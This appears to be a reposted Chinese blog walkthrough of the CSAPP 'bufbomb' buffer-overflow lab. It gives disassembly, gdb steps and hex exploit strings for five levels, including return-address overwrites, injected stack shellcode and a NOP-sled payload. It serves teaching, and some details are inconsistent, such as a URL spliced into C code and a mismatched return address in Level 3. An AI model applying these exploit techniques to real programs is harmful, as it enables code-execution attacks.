這是CSAPP的第三個實驗,主要讓我們熟悉GDB的使用,理解程式堆疊幀的結構和緩沖區溢位的原理,
實驗目的
??本實驗的目的在于加深對IA-32函式呼叫規則和堆疊結構的具體理解,實驗的主要內容是對一個可執行程式“bufbomb”實施一系列緩沖區溢位攻擊(buffer overflow attacks),也就是設法通過造成緩沖區溢位來改變該可執行程式的運行記憶體映像,繼而執行一些原來程式中沒有的行為,例如將給定的位元組序列插入到其本不應出現的記憶體位置等,本次實驗需要你熟練運用gdb、objdump、gcc等工具完成,
??實驗中你需要對目標可執行程式BUFBOMB分別完成5個難度遞增的緩沖區溢位攻擊,5個難度級分別命名為Smoke(level 0)、Fizz(level 1)、Bang(level 2)、Boom(level 3)和Nitro(level 4),其中Smoke級最簡單而Nitro級最困難,
準備作業
??編譯環境:Ubuntu 16.04,gcc 5.4.0,
??在官網下載得到實驗所需檔案解壓后會得到三個不同的檔案,對三個檔案簡要說明如下所示,
??README.txt:描述檔案夾目錄
??bufbomb:將要攻擊的緩沖區炸彈程式,
??makecookie:根據您的用戶名生成一個“ cookie”,
??hex2raw:用于在字串格式之間進行轉換的程式,
??Cookie是由八位十六進制數字組成的字串,該字串具有很高的用戶ID唯一性,您可以使用makecookie程式生成您的cookie,并以您的userid作為引數,如下圖所示:

如果報錯:-bash: ./makecookie: Permission denied,執行以下命令賦予權限
chmod 777 bufbom
chmod 777 makecookie
BUFBOMB 程式
??BUFBOMB程式從標準輸入讀取字串,getbuf函式如下所示:
/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}
??函式Gets類似于標準庫函式gets-它從標準輸入中讀取字串(以“ \ n”或檔案結尾結尾)并將其(連同空終止符一起)存盤在指定的目標位置,在此代碼中,定義了一個32個位元組空間的buf來存盤字符,
??Gets()從輸入流中獲取一個字串,并將其存盤到其目標地址(buf),但是,Gets()無法確定buf是否足夠大以存盤整個輸入,它只是復制整個輸入字串,可能會超出分配給buf的記憶體,
??如果用戶鍵入的字串不超過31個字符,很明顯getbuf將回傳1,如以下執行示例所示:

??當輸入一個很長的字串時

??如上圖所示,緩沖區溢位通常會導致程式狀態被破壞,導致記憶體訪問錯誤,我們的任務是更聰明地輸入BUFBOMB的字串,讓它做更多有趣的事情,
BUFBOMB所用的幾個不同的命令列引數:
-u userid:操作指示的userid的炸彈,在以下幾種情況中,必須加上此引數:1.需要將成功的攻擊提交給分級服務器,2.BUFBOMB和程式MAKECOOKIE一樣,根據userid確定要使用的Cookie,3.我們在BUFBOMB中內置了一些功能,一些關鍵的堆疊地址需要依賴于userid的cookie,
-h:列印可能的命令列引數串列,
-n:如以下Level 4所使用的那樣,以“Nitro”模式進行操作,
-s:將您的解決方案利用字串提交到分級服務器
??注意以下幾個問題:
??1.HEX2RAW程式可以幫助我們生成原始的字串,HEX2RAW程式的輸入是十六進制格式的字符,例如,字串“0 1 2 3 4 5”應該寫成"30 31 32 33 34 35",(注意字符之間的空格),
??2.HEX2RAW程式支持 /**/ 型別的注釋,例如
bf 66 7b 32 78 /* mov $0x78327b66,%edi */
??3.假如攻擊字串存盤在exploit.txt中,我們可以一次使用以下命令來完成資料的讀入和運行,
cat exploit.txt | ./hex2raw | ./bufbomb -u bovik
??4.可以使用以下命令來完成輸入輸出的重定向并提供給BUFBOMB使用,
./hex2raw < exploit.txt > exploit-raw.txt
./bufbomb -u bovik < exploit-raw.txt
??5.除錯bufbomb可以使用如下命令
gdb bufbomb
(gdb) run -u bovik < exploit-raw.txt
??6.攻擊字串在任何中間位置都不得包含位元組值0x0A,因為這是換行符('\ n')的ASCII碼,當Gets遇到此位元組時,它將終止字串,
堆疊幀結構
首先簡單理解下函式呼叫程序中的堆疊幀結構,如上圖所示,為函式P呼叫函式Q時,程式的堆疊幀結構,
-
當前正在執行的程序的幀總是在堆疊頂,
-
當P函式呼叫Q時,會把回傳地址(即P的下一條代碼的地址)壓入堆疊中,當Q回傳時,繼續從P中呼叫Q的位置的下一條指令繼續執行,一般來說,我們把這個回傳地址當做P的堆疊幀的一部分,因為它存放的是與P相關的狀態,
-
Q函式執行時,可以保存暫存器的值,可以為區域變數分配空間,當結束呼叫時,Q申請的所有空間都將被釋放,
-
當P傳遞給Q的引數少于6個時,使用暫存器保存就可以了,當引數傳遞大于6個時,多出的部分將用堆疊來傳遞,
關于堆疊的更詳細的知識可以參考這篇文章面試官不講武德,居然讓我講講蠕蟲和金絲雀!
Level 0: Candle
??test在BUFBOMB中呼叫了getbuf函式的C代碼下:
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
??當test呼叫完getbuf函式(第6行)后會正常向下執行,如果我們想要讓其跳轉到smoke函式,那么我們就要利用緩沖區溢位的漏洞來修改getbuf函式的回傳地址,
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}
??首先將bufbomb使用指令objdump -d bufbomb >bufbomb .d 進行反匯編
080491f4 <getbuf>:
80491f4: 55 push %ebp # 被呼叫者保存
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax # 緩沖區40個位元組
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
08048c18 <smoke>:
8048c18: 55 push %ebp
8048c19: 89 e5 mov %esp,%ebp
8048c1b: 83 ec 18 sub $0x18,%esp
8048c1e: c7 04 24 d3 a4 04 08 movl $0x804a4d3,(%esp)
8048c25: e8 96 fc ff ff call 80488c0 <puts@plt>
8048c2a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c31: e8 45 07 00 00 call 804937b <validate>
8048c36: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c3d: e8 be fc ff ff call 8048900 <exit@plt>
??由反匯編結果可知,給輸入的字串分配的空間是從%ebp-0x28開始的,換為10進制就是40個位元組,而回傳地址是在%ebp+0x4處,push %ebp本身又占了四個位元組,所以結構為:0x28+4+4=48個位元組,并且其最后4個位元組應是smoke函式的地址,正好覆寫ebp上方的正常回傳地址,這樣再從getbuf回傳時,取出的根據攻擊字串設定的地址,就可實作控制轉移,(結合堆疊幀的圖理解)
??由反匯編可得smoke函式的入口地址為0x08048c18,因此,我們需要做的就是把上面的44個位元組隨意填滿(不要填換行),然后把原來的回傳地址改為smoke函式的入口地址,0x0a是換行\n的ASCII值,所以不可以輸入,那么我們就輸入0x08048c18來代替,
??新建一個名為Level0.txt的檔案,攻擊代碼如下所示
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /*填充44個位元組*/
00 00 00 00 18 8c 04 08 /*溢位剛好修改回傳地址*/
??執行以下命令測驗
./hex2raw < Level0.txt > Level0-raw.txt
./bufbomb -u bovik < Level0-raw.txt
??結果如下所示,成功,

Level 1: Sparkler
??Level1 和Level0差不多,唯一的區別是 fizz(int) 函式有一個整型的引數,并且在 fizz函式中還要校驗cookie, test函式呼叫getbuf函式,呼叫完getbuf以后不回傳getbuf的呼叫者test而是去執行fizz函式,
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
}else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
08048c42 <fizz>:
8048c42: 55 push %ebp
8048c43: 89 e5 mov %esp,%ebp
8048c45: 83 ec 18 sub $0x18,%esp
8048c48: 8b 45 08 mov 0x8(%ebp),%eax
8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048c51: 75 26 jne 8048c79 <fizz+0x37>
8048c53: 89 44 24 08 mov %eax,0x8(%esp)
8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp)
8048c5e: 08
8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt>
8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c72: e8 04 07 00 00 call 804937b <validate>
8048c77: eb 18 jmp 8048c91 <fizz+0x4f>
8048c79: 89 44 24 08 mov %eax,0x8(%esp)
8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp)
8048c84: 08
8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt>
8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c98: e8 63 fc ff ff call 8048900 <exit@plt>
??由fizz的反匯編可知:fizz函式的入口地址為0x08048c42,由堆疊幀圖示可知,ebp存放了呼叫者的舊ebp(saved %ebp),其上一位置ebp+4存放了呼叫者的回傳地址,所以引數的地址應該為ebp+8的位置,我們只需要將自己的cookie放置在該位置即可,
??攻擊代碼如下
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
42 8c 04 08 /*fizz函式的入口地址*/
00 00 00 00
b7 b2 05 10 /*ebp+8存放引數地址*/
??最后執行命令測驗成功

Level 2: Firecracker
08048c9d <bang>:
8048c9d: 55 push %ebp
8048c9e: 89 e5 mov %esp,%ebp
8048ca0: 83 ec 18 sub $0x18,%esp
8048ca3: a1 00 d1 04 08 mov 0x804d100,%eax
8048ca8: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048cae: 75 26 jne 8048cd6 <bang+0x39>
8048cb0: 89 44 24 08 mov %eax,0x8(%esp)
8048cb4: c7 44 24 04 60 a3 04 movl $0x804a360,0x4(%esp)
8048cbb: 08
8048cbc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048cc3: e8 f8 fc ff ff call 80489c0 <__printf_chk@plt>
8048cc8: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048ccf: e8 a7 06 00 00 call 804937b <validate>
8048cd4: eb 18 jmp 8048cee <bang+0x51>
8048cd6: 89 44 24 08 mov %eax,0x8(%esp)
8048cda: c7 44 24 04 0c a5 04 movl $0x804a50c,0x4(%esp)
8048ce1: 08
8048ce2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048ce9: e8 d2 fc ff ff call 80489c0 <__printf_chk@plt>
8048cee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048cf5: e8 06 fc ff ff call 8048900 <exit@plt>
??緩沖區攻擊的一種更為復雜的形式是提供一個對實際機器指令進行編碼的字串,然后利用字串利用這些指令在堆疊中的起始地址覆寫回傳指標,當呼叫函式(在本例中為getbuf)執行其ret指令時,程式將開始在堆疊上執行指令,而不是回傳,通過這種攻擊方式,您可以獲得該程式幾乎可以執行任何操作,您放在堆疊上的代碼稱為漏洞利用代碼,這種攻擊非常棘手,因為您必須將機器代碼放入堆疊并將回傳指標設定為該代碼的開頭,
??在檔案bufbomb中,有一個具有以下C代碼的函式bang函式:
int global_value = https://www.cnblogs.com/dongxb/p/0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = https://www.cnblogs.com/dongxb/p/0x%x/n", global_value);
exit(0);
}
??和之前的兩個實驗相似,我們的任務是執行完getbuf()后,不回傳到test,而是執行bang代碼,但是這個實驗中我們還要修改global_value的值為cookie,先看下反匯編,
08048c9d <bang>:
8048c9d: 55 push %ebp
8048c9e: 89 e5 mov %esp,%ebp
8048ca0: 83 ec 18 sub $0x18,%esp
8048ca3: a1 00 d1 04 08 mov 0x804d100,%eax #global_value
8048ca8: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048cae: 75 26 jne 8048cd6 <bang+0x39>
8048cb0: 89 44 24 08 mov %eax,0x8(%esp),
8048cb4: c7 44 24 04 60 a3 04 movl $0x804a360,0x4(%esp)
8048cbb: 08
8048cbc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048cc3: e8 f8 fc ff ff call 80489c0 <__printf_chk@plt>
8048cc8: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048ccf: e8 a7 06 00 00 call 804937b <validate>
8048cd4: eb 18 jmp 8048cee <bang+0x51>
8048cd6: 89 44 24 08 mov %eax,0x8(%esp)
8048cda: c7 44 24 04 0c a5 04 movl $0x804a50c,0x4(%esp)
8048ce1: 08
8048ce2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048ce9: e8 d2 fc ff ff call 80489c0 <__printf_chk@plt>
8048cee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048cf5: e8 06 fc ff ff call 8048900 <exit@plt>
??bang函式入口地址0x8048c9d,由第5行可知,global_value存放的位置是0x804d100,
??由此寫下匯編代碼:首先把我們的cookie寫到全域變數的地址中,然后在把bang的入口地址入堆疊,通過ret指令來執行bang函式
movl $0x1005b2b7,0x804d100 #修改變數值
push $0x8048c9d #bang函式地址壓堆疊
ret #利用ret陳述句完成對bang的呼叫
??機器編碼如下
00000000 <.text>:
0: c7 05 00 d1 04 08 b7 movl $0x1005b2b7,0x804d100
7: b2 05 10
a: 68 9d 8c 04 08 push $0x8048c9d
f: c3 ret
??得到機器碼之后如何使用呢?這個機器碼的作用是執行到它時,修改全域變數的值并進入bang函式,然而要怎么執行到這一步呢?考慮執行getbuf函式的時候,將其回傳地址改為這個函式的地址,使得getbuf執行完畢后,繼續執行這個函式,執行完這個函式就自動執行bang函式了,
??我們寫的這個函式的地址在哪里呢?
??使用GDB除錯,在getbuf函式設定斷點,查詢buf的首地址,在call gets函式前,eax暫存器的值就是buf的首地址,即我們寫的函式的地址,
080491f4 <getbuf>:
80491f4: 55 push %ebp
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3
??位于0x80491fa 地址處代碼為預讀的string在stack創建了0x28(也就是40)個Byte 的空間,具體位置可以通過gdb在下一行設定breakpoint 查找 %eax 的值得到,如下所示:

??我們還需要找到input string存放的位置作為第一次ret 指令的目標位置, 經過gdb除錯分析getbuf()申請的40位元組緩沖區首地址為0x55683588(后面還會用到),
??所以攻擊代碼為
c7 05 00 d1 04 08 b7 b2
05 10 68 9d 8c 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 88 35 68 55 /*代碼存放位置*/
??編譯測驗結果如下所示

Level 3: Dynamite
??在這個題目中,要求getbuf() 結束后正常回傳執行(getbuf() 的下一行),并且將cookie作為getbuf的回傳值傳給test(),同時還要saved ebp被復原,保證占空間被還原,使test()察覺不到我們修改了程式,
08048daa <test>:
8048daa: 55 push %ebp
8048dab: 89 e5 mov %esp,%ebp
8048dad: 53 push %ebx
8048dae: 83 ec 24 sub $0x24,%esp
8048db1: e8 da ff ff ff call 8048d90 <uniqueval>
8048db6: 89 45 f4 mov %eax,-0xc(%ebp)
8048db9: e8 36 04 00 00 call 80491f4 <getbuf> #
8048dbe: 89 c3 mov %eax,%ebx
8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>
8048dc5: 8b 55 f4 mov -0xc(%ebp),%edx
8048dc8: 39 d0 cmp %edx,%eax
8048dca: 74 0e je 8048dda <test+0x30>
8048dcc: c7 04 24 88 a3 04 08 movl $0x804a388,(%esp)
8048dd3: e8 e8 fa ff ff call 80488c0 <puts@plt>
8048dd8: eb 46 jmp 8048e20 <test+0x76>
8048dda: 3b 1d 08 d1 04 08 cmp 0x804d108,%ebx
8048de0: 75 26 jne 8048e08 <test+0x5e>
8048de2: 89 5c 24 08 mov %ebx,0x8(%esp)
8048de6: c7 44 24 04 2a a5 04 movl $0x804a52a,0x4(%esp)
8048ded: 08
8048dee: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048df5: e8 c6 fb ff ff call 80489c0 <__printf_chk@plt>
8048dfa: c7 04 24 03 00 00 00 movl $0x3,(%esp)
8048e01: e8 75 05 00 00 call 804937b <validate>
8048e06: eb 18 jmp 8048e20 <test+0x76>
8048e08: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e0c: c7 44 24 04 47 a5 04 movl $0x804a547,0x4(%esp)
8048e13: 08
8048e14: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e1b: e8 a0 fb ff ff call 80489c0 <__printf_chk@plt>
8048e20: 83 c4 24 add $0x24,%esp
8048e23: 5b pop %ebx
8048e24: 5d pop %ebp
8048e25: c3 ret
??getbuf()函式在被呼叫時,程式的回傳值被存盤在%eax暫存器中,當getbuf()執行完,就會去%eax取值回傳執行,因此,要想回傳cookie,我們只要修改eax的值就可以,
??題目還要求恢復原來的%ebp,因此我們可以通過打斷點的方式先記下呼叫getbuf()之前的epb值(0x556835e0),
??而對于回傳地址,這個很簡單,就相當于上一題我們是跳轉到bang函式,在這一題里,把執行完getbuf的下一句的地址壓堆疊再ret,就完成了要求,
??在程式第8行0x8048db9處打斷點,獲取原來ebp的值為 0x556835e0,

??匯編代碼如下所示
movl $0x1005b2b7,%eax
push $0x8048db9 # 壓堆疊
ret
??這里通過movl指令將cookie值傳給%eax以回傳給test(),然后使得程式跳轉到test()中call getbuf下一條指令正常回傳,但是并不在這里處理ebp暫存器問題,而是通過在攻擊字串里面設定ebp暫存器使得其還原為舊ebp,
00000000 <.text>:
0: b8 b7 b2 05 10 mov $0x1005b2b7,%eax
5: 68 b9 8d 04 08 push $0x8048db9
a: c3 ret
??攻擊代碼如下所示
b8 b7 b2 05
10 68 be 8d
04 08 c3 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
e0 35 68 55 /*原來ebp的值*/
88 35 68 55
??編譯運行結果如下

這道題目有兩種寫法,只要在其中一個地方修復ebp即可
第一種是在這個代碼里不對ebp作操作,而在我們最后填入getbuf的字串中修改ebp
第二種是在這個代碼里把ebp為原ebp,在我們最后填入getbuf的字串中隨意填ebp
我們上面用的是第一種,下面介紹下第二種,
movl $0x1005b2b7,%eax movl $0x556835e0,%ebp #直接修改ebp的值 push $8048dbe #壓堆疊,正常回傳 ret這里通過movl指令將cookie值傳給%eax以回傳給test(),然后繼續通過movl指令還原ebp暫存器,最后通過push正確回傳地址使得程式跳轉到test()中call getbuf下一條指令正常回傳,區別于方法一的是這里通過自定義攻擊代碼還原ebp,而不是通過攻擊字串中的緩沖區溢位進行覆寫的,兩種方法都可以,
Level 4: Nitroglycerin
??請注意:在這個實驗中需要使用“ -n”命令列標志才能運行此階段,
??對于不同程式或者是不同用戶運行同一程式,每次堆疊位置會有所不同,這種變化的原因之一是,所有環境變數的值都放在程式開始執行時的堆疊底,環境變數存盤為字串,根據值的不同,需要不同的大量的存盤空間,在GDB除錯中,堆疊位置也會有差異,因為GDB將堆疊空間用于其自身的某些狀態,
??在呼叫getbuf的代碼中,使用了某些手段(穩定因素),從而使兩次運行之間,getbuf的堆疊框架將保持一致,這使得我們可以撰寫攻擊代碼,利用漏洞使得程式知道buf起始地址,如果嘗試在其他普通程式上使用此類漏洞利用程式,會發現它有時會起作用,但有時會導致段錯誤,因此得名“nitroglycerin””----由阿爾弗雷德·諾貝爾開發的nitroglycerin”,其中包含穩定劑以減少Nitroglycerin容易發生意外爆炸,
??在這個實驗中,堆疊位置比其他程式的堆疊穩定程度更低,當使用命令列標志“ -n”運行BUFBOMB時,它將在“ Nitro”模式下運行,程式不會呼叫函式getbuf,程式會呼叫函式getbufn:
/* Buffer size for getbufn */
#define KABOOM_BUFFER_SIZE 512
??該函式類似于getbuf,不同之處在于它具有512個字符的緩沖區,我們將需要這個額外空間來創造攻擊程式,呼叫getbufn的代碼分配一個隨機量堆疊上的存盤空間,例如,如果在getbufn連續兩次執行時采樣%ebp的值,您會發現k它們相差±240,
??此外,在Nitro模式下運行時,BUFBOMB要求您提供5次字串,并且它將執行getbufn 5次,每次都有不同的堆疊偏移量,我們要用攻擊字串每次都回傳cookie,
??我們需要提供一個攻擊程式,讓getbufn回傳到cookie到test中,而不是1,可以在test代碼中看到這將導致程式運行“ KABOOM!”,我們的攻擊代碼代碼應設定cookie作為回傳值,恢復任何損壞的狀態,將正確的回傳位置壓入堆疊,并執行ret指令以真正回傳到testn,
??在CSAPP P199中有nop sled一詞,這次實驗就用到了這個,書中的解釋如下:
??一種常見的把戲就是在實際的攻擊代碼前插入很長一段的nop(讀作“noop”,no operatioin的縮寫)指令,執行這種指令除了對程式計數器加一,使之指向下一條指令之外,沒有任何的效果,只要攻擊者能夠猜中這段序列中的某個地址,程式就會經過這個序列,到達攻擊代碼,這個序列常用的術語是“空操作雪橇( nop sled),
??因為在這個實驗中,堆疊的地址是變化的,我們不知道有效機器代碼的入口地址了,因此我們需要在有效機器代碼前填充大量的nop指令,只要程式可以跳轉到這些nop指令中,那么最終就可以滑到有效的機器代碼,
??運行getbufn函式時,會隨機在堆疊上分配一塊存盤地址,因此,getbufn的基址ebp時隨機變化的,但是又要求我們寫的跳轉地址是固定的,所以我們應該在有效代碼之前大量填充nop指令,讓這段地址內的代碼都會滑到這段nop之后的代碼上,
??由于堆疊上的機器代碼是按地址由低向高順序執行,要保證五次運行都能順利執行有效機器代碼,需要滿足:跳轉地址位于有效機器代碼入口地址之前的nop機器指令填充區,這要求盡可能增大nop填充區,盡可能使有效機器代碼段往后挪,
0804920c <getbufn>:
804920c: 55 push %ebp
804920d: 89 e5 mov %esp,%ebp
804920f: 81 ec 18 02 00 00 sub $0x218,%esp
8049215: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
804921b: 89 04 24 mov %eax,(%esp)
804921e: e8 d7 fa ff ff call 8048cfa <Gets>
8049223: b8 01 00 00 00 mov $0x1,%eax
8049228: c9 leave
8049229: c3 ret
804922a: 90 nop
804922b: 90 nop
??從反匯編可以看出,buf的首地址為ebp-0x208,所以buf總共的大小為520位元組,考慮這個函式中,testn的ebp隨每次輸入都隨機變化,但是堆疊頂esp的位置卻不變,所以我們可以通過esp和ebp的關系來找出這個關系,從而進行攻擊
??首先在sub?$0x218,esp這一句設定斷點,并使用-n模式運行程式,并查看ebp的值,
??我們要做的是找出最大的ebp值0x556835e0,再減去0x208,即為最高的buf的始地址為:0x556833D8,
??如果將有效機器代碼置于跳轉地址之前,并將其它所有字符都用作nop指令,此時所有五個buf地址的寫入都能滿足跳轉到地址0x556833D8后順利到達有效機器代
碼,
08048e26 <testn>:
8048e26: 55 push %ebp
8048e27: 89 e5 mov %esp,%ebp
8048e29: 53 push %ebx
8048e2a: 83 ec 24 sub $0x24,%esp
8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
8048e35: e8 d2 03 00 00 call 804920c <getbufn>
8048e3a: 89 c3 mov %eax,%ebx #ebp
8048e3c: e8 4f ff ff ff call 8048d90 <uniqueval>
8048e41: 8b 55 f4 mov -0xc(%ebp),%edx
8048e44: 39 d0 cmp %edx,%eax
8048e46: 74 0e je 8048e56 <testn+0x30>
8048e48: c7 04 24 88 a3 04 08 movl $0x804a388,(%esp)
8048e4f: e8 6c fa ff ff call 80488c0 <puts@plt>
8048e54: eb 46 jmp 8048e9c <testn+0x76>
8048e56: 3b 1d 08 d1 04 08 cmp 0x804d108,%ebx
8048e5c: 75 26 jne 8048e84 <testn+0x5e>
8048e5e: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e62: c7 44 24 04 b4 a3 04 movl $0x804a3b4,0x4(%esp)
8048e69: 08
8048e6a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e71: e8 4a fb ff ff call 80489c0 <__printf_chk@plt>
8048e76: c7 04 24 04 00 00 00 movl $0x4,(%esp)
8048e7d: e8 f9 04 00 00 call 804937b <validate>
8048e82: eb 18 jmp 8048e9c <testn+0x76>
8048e84: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e88: c7 44 24 04 62 a5 04 movl $0x804a562,0x4(%esp)
8048e8f: 08
8048e90: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e97: e8 24 fb ff ff call 80489c0 <__printf_chk@plt>
8048e9c: 83 c4 24 add $0x24,%esp
8048e9f: 5b pop %ebx
8048ea0: 5d pop %ebp
8048ea1: c3 ret
??可以看出,在testn中,esp+0x24+0x4是ebp的真值,而由于esp是不變的,所以可以通過esp+0x28來修改正確的ebp值,同時,可以看出得到getbufn的回傳地址
為0x8048e3a,
??匯編代碼如下:
movl $0x1005b2b7,%eax
lea 0x28(%esp),%ebp
push $0x8048e3a
ret
??機器碼如下
00000000 <.text>:
0: b8 b7 b2 05 10 mov $0x1005b2b7,%eax
5: 8d 6c 24 28 lea 0x28(%esp),%ebp
9: 68 3a 8e 04 08 push $0x8048e3a
e: c3 ret
??接下來準備構造攻擊字串,構造的方法:
??考慮buf部分共有520+4(舊ebp)+4(回傳地址)共528個位元組,我們這個代碼里要做的就是在這些范圍內填入三部分:nop操作、攻擊代碼、和跳轉地址,先考慮后面的部分,在原函式的回傳地址處我們肯定要用buf的最大始地址代替,是最后4位元組,然后緊跟著它之前的是我們的攻擊代碼,共15位元組,剩下的528-4-15=509位元組全用nop填滿,
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90
b8 b7 b2 05 10 8d 6c 24 28 68
3a 8e 04 08 c3 D8 33 68 55
??測驗結果如下所示,順利通過

總結
??這幾個實驗還是比較好玩的,前四個都不難,稍加思考便能做出來,最后一個居然用到了nop sled,之前在看書的時候就好奇黑客是如何使用這些的,沒想到還真用到了,當然,對于黑客來說,這只是基礎中的基礎,做完這些實驗確實對于程式的堆疊幀結構有了更深的理解,更好地理解了C語言函式的匯編語言,和緩沖區溢位的原理,掌味訓沖區溢位攻擊的設計方法,進一步熟悉了gdb的除錯,
??養成習慣,先贊后看!如果覺得寫的不錯,歡迎關注,點贊,轉發,謝謝!
如遇到排版錯亂的問題,可以通過以下鏈接訪問我的CSDN,
CSDN:CSDN搜索“嵌入式與Linux那些事”
歡迎歡迎關注我的公眾號:嵌入式與Linux那些事,領取秋招筆試面試大禮包(華為小米等大廠面經,嵌入式知識點總結,筆試題目,簡歷模版等)和2000G學習資料,

轉載請註明出處,本文鏈接:https://www.uj5u.com/caozuo/233746.html
標籤:嵌入式
上一篇:大端位元組序(big endian)和小端位元組序(little endian
下一篇:如何做一個自動化感應垃圾桶
